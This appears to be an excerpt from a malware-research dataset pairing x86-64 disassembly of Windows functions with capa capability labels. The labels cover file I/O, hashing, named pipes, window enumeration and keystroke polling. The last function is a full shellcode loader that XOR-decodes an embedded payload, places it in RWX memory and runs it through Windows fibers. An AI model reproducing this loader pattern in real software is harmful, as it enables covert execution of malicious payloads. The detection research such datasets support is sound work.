joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18002a868
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x1801172c0]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x18002a8ac
movzx eax, r14w
jmp 0x18002a9e2
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x18002a8e8
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x18002a8e8
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x18002a9e2
cmp qword [rcx + 0x80], r14
je 0x18002a9df
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x18002a926
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x18002a94f
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call fcn.18009b8a8
cmp ax, di
je 0x18002a9df
movzx edi, si
jmp 0x18002a9df
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [0x1800e75c8]
test eax, eax
je 0x18002a9a4
sub eax, 1
je 0x18002a9a4
cmp eax, 2
jne 0x18002a9df
movzx ecx, word [rbp + 7]
jmp 0x18002a932
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x18002a9ce
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call fcn.18006fdb4
cmp r14, rax
jne 0x18002a9df
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
movzx eax, si
jne 0x18002a9e2
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.18005a670
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x18004f7dc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x180036736
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x180036719
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x180036704

Function at 0x18004f7f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x18003676e
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x180036751
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x18003673c
Function at 0x1800ae9cc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x1800ae672
call fcn.18009d7a4
mov dword [rax], 0x16
call fcn.18006c4e8
jmp 0x1800ae7bd
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1800ae7bd
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1800ae7bd
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1800ae6a1
lock or dword [rcx + 0x14], 0x10
jmp 0x1800ae7bd
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1800ae6b5
call fcn.1800aefc8
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x1800ae6c5
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x1800ae6c8
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.1800ae4b8
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.1800b264c
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x1800ae7ab
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x1800ae759
mov rcx, rbx
call fcn.1800ae4b8
cmp eax, 0xffffffff
je 0x1800ae744
mov rcx, rbx
call fcn.1800ae4b8
cmp eax, 0xfffffffe
je 0x1800ae744
mov rcx, rbx
call fcn.1800ae4b8
movsxd rdi, eax
lea r14, [0x18011bff0]
mov rcx, rbx
sar rdi, 6
call fcn.1800ae4b8
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x1800ae74b
lea rdx, [0x180117520]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1800ae759
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x1800ae77d
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x1800ae77d
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x1800ae77d
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x1800ae79b
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x1800ae7a6
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x1800ae7c2
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x1800ae63c
Function at 0x1800dc1f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [0x1801172c0]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [rsp + 0xc8]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1800dc300
cmp dword [rsp + 0x30], 1
je 0x1800dc247
jmp 0x1800dc32f
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x68]
call fcn.1800e0ee0
nop
call fcn.1800daf50
mov qword [rsp + 0x50], rax
lea r8, str..log
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x88]
call fcn.180022330
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call fcn.1800dabe0
nop
lea rcx, [rsp + 0x88]
call fcn.180021920
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0xc0]
lea r8, [0x1800dbed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x58], rax
mov edx, 1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
nop
lea rcx, [rsp + 0x68]
call fcn.180021920
jmp 0x1800dc32f
call fcn.1800daf50
mov qword [rsp + 0x60], rax
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.180021a90
lea rcx, str.Detaching_from_process._Goodbye.
call fcn.1800de780
call fcn.1800daf50
mov rcx, rax
call fcn.1800dabb0
mov eax, 1
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.18005a670
add rsp, 0xb8
ret
Function at 0x1800dd050
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
add rax, 0x80
mov r8d, 0x10
xor edx, edx
mov rcx, rax
call fcn.18005eb90
mov rax, qword [rsp + 0x50]
add rax, 0x80
mov rdx, rax
mov rax, qword [rsp + 0x50]
mov ecx, dword [rax + 0x90]
call qword [sym.imp.XINPUT9_1_0.dll_XInputGetState]
test eax, eax
jne 0x1800dd0a1
mov dword [rsp + 0x2c], 1
jmp 0x1800dd0a9
mov dword [rsp + 0x2c], 0
mov rax, qword [rsp + 0x50]
movzx ecx, byte [rsp + 0x2c]
mov byte [rax + 0x96], cl
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x94]
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx + 0x84]
cmp eax, ecx
je 0x1800dd1d1
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x94]
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx + 0x84]
xor eax, ecx
mov word [rsp + 0x24], ax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x94]
mov word [rsp + 0x28], ax
mov eax, 1
mov word [rsp + 0x20], ax
jmp 0x1800dd122
movzx eax, word [rsp + 0x20]
shl ax, 1
mov word [rsp + 0x20], ax
movzx eax, word [rsp + 0x24]
and eax, 1
test eax, eax
je 0x1800dd1a2
movzx eax, word [rsp + 0x28]
and eax, 1
test eax, eax
je 0x1800dd173
mov rax, qword [rsp + 0x50]
add rax, 0x40
mov rcx, rax
call fcn.180022ed0
movzx eax, al
test eax, eax
je 0x1800dd171
mov rax, qword [rsp + 0x50]
add rax, 0x40
mov qword [rsp + 0x30], rax
movzx eax, word [rsp + 0x20]
mov edx, eax
mov rcx, qword [rsp + 0x30]
call fcn.180022f90
jmp 0x1800dd1a2
mov rax, qword [rsp + 0x50]
mov rcx, rax
call fcn.180022ed0
movzx eax, al
test eax, eax
je 0x1800dd1a2
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x38], rax
movzx eax, word [rsp + 0x20]
mov edx, eax
mov rcx, qword [rsp + 0x38]
call fcn.180022f90
movzx eax, word [rsp + 0x20]
cmp eax, 0x8000
jne 0x1800dd1b2
jmp 0x1800dd1d1
movzx eax, word [rsp + 0x24]
shr ax, 1
mov word [rsp + 0x24], ax
movzx eax, word [rsp + 0x28]
shr ax, 1
mov word [rsp + 0x28], ax
jmp 0x1800dd115
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movzx ecx, word [rcx + 0x84]
mov word [rax + 0x94], cx
add rsp, 0x48
ret

Function at 0x1800dde50
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov eax, 0x10
imul rax, rax, 0
mov ecx, 1
mov word [rsp + rax + 0x20], cx
mov eax, 0x10
imul rax, rax, 0
mov ecx, 2
mov word [rsp + rax + 0x22], cx
mov eax, 0x10
imul rax, rax, 0
mov dword [rsp + rax + 0x24], 0
call fcn.1800daf50
mov rcx, rax
call fcn.180023210
mov ecx, 0x10
imul rcx, rcx, 0
mov qword [rsp + rcx + 0x28], rax
mov r8d, 0x10
mov edx, 1
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x1800dded6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Couldnt_register_raw_input._Error_code:__010x
call fcn.1800de850
jmp 0x1800ddee2
lea rcx, str.Raw_input_registered
call fcn.1800de8f0
add rsp, 0x38
ret
Function at 0x1800deb50
Capabilities:
Connect pipe
Create pipe
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x4b8
mov rax, qword [0x1801172c0]
xor rax, rsp
mov qword [rsp + 0x4a0], rax
mov ecx, 0x28
call fcn.18007149c
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x40], 0
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
jne 0x1800deb9b
mov byte [rsp + 0x40], 1
cmp qword [rsp + 0x60], 0
je 0x1800debd4
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
jne 0x1800debc2
mov byte [rsp + 0x40], 1
mov dword [rsp + 0x58], 0x18
mov dword [rsp + 0x68], 1
jmp 0x1800debd9
mov byte [rsp + 0x40], 1
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x1800debed
mov qword [rsp + 0x50], 0
jmp 0x1800debf7
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
mov dword [rsp + 0x28], 0x1000
mov dword [rsp + 0x20], 0
mov r9d, 1
mov r8d, 6
mov edx, 1
lea rcx, str..pipeIgcsClientToDll
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rcx, qword [rsp + 0x4c0]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x4c0]
cmp qword [rax + 8], 0xffffffffffffffff
je 0x1800dec5c
mov dword [rsp + 0x44], 1
jmp 0x1800dec64
mov dword [rsp + 0x44], 0
mov rax, qword [rsp + 0x4c0]
movzx ecx, byte [rsp + 0x44]
mov byte [rax + 0x19], cl
mov rax, qword [rsp + 0x4c0]
movzx eax, byte [rax + 0x19]
test eax, eax
jne 0x1800decb5
lea rdx, str.Couldnt_create_the_Client____DLL_named_pipe.
lea rcx, [rsp + 0x78]
call fcn.18000faa0
nop
lea rcx, [rsp + 0x78]
call fcn.1800d8440
nop
lea rcx, [rsp + 0x78]
call fcn.180002210
mov eax, 1
jmp 0x1800dedb1
mov byte [rsp + 0x41], 0
mov rax, qword [rsp + 0x4c0]
cmp qword [rax + 8], 0xffffffffffffffff
je 0x1800ded7a
mov rax, qword [rsp + 0x4c0]
movzx eax, byte [rax + 0x19]
test eax, eax
je 0x1800ded7a
xor edx, edx
mov rax, qword [rsp + 0x4c0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jne 0x1800ded0d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x1800ded6a
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, 0x400
lea rdx, [rsp + 0xa0]
mov rax, qword [rsp + 0x4c0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800ded6a
mov r8d, dword [rsp + 0x4c]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x4c0]
call fcn.1800dea40
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x41]
test eax, eax
je 0x1800ded68
jmp 0x1800ded6a
jmp 0x1800ded0d
movzx eax, byte [rsp + 0x41]
test eax, eax
je 0x1800ded75
jmp 0x1800ded7a
jmp 0x1800decba
lea rdx, [0x1800fb320]
lea rcx, str.Named_pipe__s_closed._Exiting_listener_thread.
call fcn.1800de780
lea rcx, str.System_shut_down_started.
call fcn.1800de780
call fcn.1800daf50
mov qword [rsp + 0x70], rax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call fcn.180021a90
xor eax, eax
mov rcx, qword [rsp + 0x4a0]
xor rcx, rsp
call fcn.18005a670
add rsp, 0x4b8
ret
Function at 0x1800dee10
Capabilities:
Write file on windows

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1078
call fcn.18005b520
sub rsp, rax
mov rax, qword [0x1801172c0]
xor rax, rsp
mov qword [rsp + 0x1060], rax
call fcn.1800daf50
mov qword [rsp + 0x38], rax
movzx r8d, byte [rsp + 0x1090]
mov rdx, qword [rsp + 0x1088]
mov rcx, qword [rsp + 0x38]
call fcn.1800da9f0
mov rax, qword [rsp + 0x1080]
movzx eax, byte [rax + 0x18]
test eax, eax
je 0x1800dee81
mov rax, qword [rsp + 0x1080]
cmp qword [rax], 0xffffffffffffffff
jne 0x1800dee86
jmp 0x1800def3d
movzx eax, byte [rsp + 0x1090]
cmp eax, 6
jne 0x1800dee98
jmp 0x1800def3d
mov eax, 1
imul rax, rax, 0
movzx ecx, byte [rsp + 0x1090]
mov byte [rsp + rax + 0x60], cl
mov rcx, qword [rsp + 0x1088]
call fcn.1800234b0
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x1088]
call fcn.1800023e0
mov qword [rsp + 0x48], rax
mov eax, 1
imul rax, rax, 1
lea rax, [rsp + rax + 0x60]
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov edx, 0xffe
mov rcx, rax
call fcn.1800713c8
mov rcx, qword [rsp + 0x1088]
call fcn.1800234b0
inc rax
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x1080]
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x1060]
xor rcx, rsp
call fcn.18005a670
add rsp, 0x1078
ret

Function at 0x1800def60
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
lea r8, [0x1800df230]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x50]
mov qword [rcx + 0x10], rax
add rsp, 0x48
ret

Function at 0x1800df290
Capabilities:
Write file on windows

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
mov eax, 0x1058
call fcn.18005b520
sub rsp, rax
mov rax, qword [0x1801172c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov rax, qword [rsp + 0x1060]
movzx eax, byte [rax + 0x18]
test eax, eax
jne 0x1800df2ca
jmp 0x1800df33a
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x40], 7
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x40], 0x12
movzx eax, byte [rsp + 0x1068]
test eax, eax
je 0x1800df2f9
mov byte [rsp + 0x30], 1
jmp 0x1800df2fe
mov byte [rsp + 0x30], 0
mov eax, 1
imul rax, rax, 2
movzx ecx, byte [rsp + 0x30]
mov byte [rsp + rax + 0x40], cl
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, 3
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x1060]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18005a670
add rsp, 0x1058
ret
Function at 0x1800df3f0
Capabilities:
Write file on windows

Disassembly:
mov byte [rsp + 0x20], r9b
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1058
call fcn.18005b520
sub rsp, rax
mov rax, qword [0x1801172c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov rax, qword [rsp + 0x1060]
movzx eax, byte [rax + 0x18]
test eax, eax
jne 0x1800df438
jmp 0x1800df4b8
cmp dword [rsp + 0x1070], 0xffe
jl 0x1800df447
jmp 0x1800df4b8
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x40], 8
mov eax, 1
imul rax, rax, 1
movzx ecx, byte [rsp + 0x1078]
mov byte [rsp + rax + 0x40], cl
movsxd rax, dword [rsp + 0x1070]
lea rcx, [rsp + 0x42]
mov r8, rax
mov rdx, qword [rsp + 0x1068]
call fcn.18005e380
mov eax, dword [rsp + 0x1070]
add eax, 2
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, eax
lea rdx, [rsp + 0x40]
mov rax, qword [rsp + 0x1060]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18005a670
add rsp, 0x1058
ret

Function at 0x1800e0a60
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov edx, 4
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.USER32.dll_GetWindow]
test rax, rax
jne 0x1800e0a9d
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1800e0a9d
mov dword [rsp + 0x24], 1
jmp 0x1800e0aa5
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1800e0bb4
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
inc eax
mov dword [rsp + 0x28], eax
movsxd rax, dword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov eax, 2
mov rcx, qword [rsp + 0x40]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.18005aecc
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov r8d, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [0x18011cc88]
call fcn.180025060
mov qword [rsp + 0x50], rax
lea rcx, [0x18011cc88]
call fcn.180021370
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
call fcn.1800714a4
test eax, eax
jne 0x1800e0b61
mov dword [rsp + 0x2c], 1
jmp 0x1800e0b69
mov dword [rsp + 0x2c], 0
mov eax, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180024c00
nop
lea rcx, [rsp + 0x38]
call fcn.180024ca0
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
lea rcx, str.Window_found_with_title:__s
call fcn.1800de8f0
nop
lea rcx, [rsp + 0x38]
call fcn.180024c80
mov eax, dword [rsp + 0x20]
add rsp, 0x78
ret
Function at 0x1800e0c50
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 0
mov rdx, qword [rsp + 0x58]
lea rcx, [0x18011cc88]
call fcn.18001d040
lea rdx, [rsp + 0x28]
lea rcx, [0x1800e09f0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x58]
call fcn.180021920
mov rax, qword [rsp + 0x20]
add rsp, 0x48
ret

Function at 0x1800e0df0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x38], 0
je 0x1800e0e57
mov dword [rsp + 0x20], 3
lea r9, [rsp + 0x30]
mov r8d, 8
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
jne 0x1800e0e57
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x40], 0
jne 0x1800e0e6a
mov qword [rsp + 0x48], 0
jmp 0x1800e0e92
mov r9d, 0x18
lea r8, [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
jne 0x1800e0e92
mov qword [rsp + 0x48], 0
cmp qword [rsp + 0x38], 0
je 0x1800e0ea5
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x48]
mov rdi, qword [rsp + 0x80]
mov rsi, rax
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x80]
add rsp, 0x68
pop rdi
pop rsi
ret

Function at 0x1800e12f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x1800e1313
mov byte [rsp + 0x20], 1
jmp 0x1800e1318
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400407c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400407d0]
mov dword [rax], 1
mov rax, qword [0x1400407e0]
mov dword [rax], 1
mov rax, qword [0x140040770]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400407b0]
mov dword [0x14004300c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140040880]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140040860]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140040720]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows fibers

Disassembly:
push rbp
mov eax, 0x3c410
call fcn.1400025d0
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call rax
mov qword [rbp + 0x3c380], rax
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0x3c3c5
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x3c38c], 0
jmp 0x1400014d5
mov eax, dword [rbp + 0x3c38c]
cdqe
movzx eax, byte [rbp + rax - 0x60]
xor eax, 0x41
mov edx, eax
mov eax, dword [rbp + 0x3c38c]
cdqe
mov byte [rbp + rax - 0x60], dl
add dword [rbp + 0x3c38c], 1
mov eax, dword [rbp + 0x3c38c]
cdqe
cmp rax, 0x3c3c4
jbe 0x1400014b0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x3c3c5
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x3c378], rax
mov rax, qword [rbp + 0x3c378]
mov rcx, rax
lea rax, [rbp - 0x60]
mov edx, 0x3c3c5
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x3c378]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFiber]
call rax
mov qword [rbp + 0x3c370], rax
mov rax, qword [rbp + 0x3c370]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SwitchToFiber]
call rax
mov eax, 0
add rsp, 0x3c410
pop rbp
ret